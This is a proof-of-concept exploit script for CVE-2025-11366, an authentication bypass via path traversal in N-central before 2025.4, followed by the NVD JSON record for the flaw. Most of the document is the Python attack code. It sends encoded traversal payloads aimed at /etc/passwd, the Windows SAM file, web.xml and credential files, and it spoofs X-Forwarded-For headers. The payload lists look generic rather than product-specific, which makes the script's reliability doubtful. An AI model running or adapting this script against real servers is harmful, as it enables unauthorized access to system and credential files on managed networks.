CVE-2025-11366

import requests import urllib.parse # CVE-2025-11366 PoC - N-central Authentication Bypass via Path Traversal # Target: N-central < 2025.4 TARGET = "https://target-server:PORT" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-11366""" # Path traversal payload to bypass authentication # The payload uses encoded path traversal sequences malicious_paths = [ "/..%2f..%2f..%2f..%2fetc/passwd", "/..%252f..%252f..%252f..%252fetc/passwd", "/..\..\..\..\windows\system32\config\sam", "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" ] endpoints = [ "/api/v1/auth/login", "/api/v2/admin/dashboard", "/jsp/../servlet/administrator", "/static/..%2f..%2f..%2fprivate-data" ] for endpoint in endpoints: for path in malicious_paths: url = TARGET + endpoint + path try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and "root:" in response.text: print(f"[+] VULNERABLE! Found sensitive file via: {url}") return True elif response.status_code == 200: print(f"[*] Potential vulnerability at: {url}") except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") return False def exploit_auth_bypass(): """Attempt to bypass authentication and gain access""" # Authentication bypass payload bypass_payloads = [ "/api/v1/..%2f..%2fadmin/users", "/jsp/..%2f..%2fWEB-INF/web.xml", "/static/..%252f..%252fconfig/credentials" ] for payload in bypass_payloads: url = TARGET + payload headers = { "User-Agent": "Mozilla/5.0", "X-Forwarded-For": "127.0.0.1" } try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Authentication bypass successful: {url}") print(f"[+] Response length: {len(response.text)} bytes") return response.text except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-11366 - N-central Authentication Bypass PoC") print("=" * 60) if check_vulnerability(): print("\n[!] Target is VULNERABLE to CVE-2025-11366") print("[*] Attempting exploitation...") exploit_auth_bypass() else: print("\n[*] Target may not be vulnerable or is patched")

{"cve": {"id": "CVE-2025-11366", "sourceIdentifier": "a5532a13-c4dd-4202-bef1-e0b8f2f8d12b", "published": "2025-11-12T16:15:35.197", "lastModified": "2025-11-14T19:32:19.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "N-central < 2025.4 is vulnerable to authentication bypass via path traversal"}], "metrics": {"cvssMetricV40": [{"source": "a5532a13-c4dd-4202-bef1-e0b8f2f8d12b", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "a5532a13-c4dd-4202-bef1-e0b8f2f8d12b", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n-able:n-central:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.4", "matchCriteriaId": "02C3E2C7-F1EC-419A-988C-586E7DDF6685"}]}]}], "references": [{"url": "https://me.n-able.com/s/security-advisory/aArVy0000000rcDKAQ/cve202511366-ncentral-authentication-bypass-via-path-traversal", "source": "a5532a13-c4dd-4202-bef1-e0b8f2f8d12b", "tags": ["Vendor Advisory"]}]}}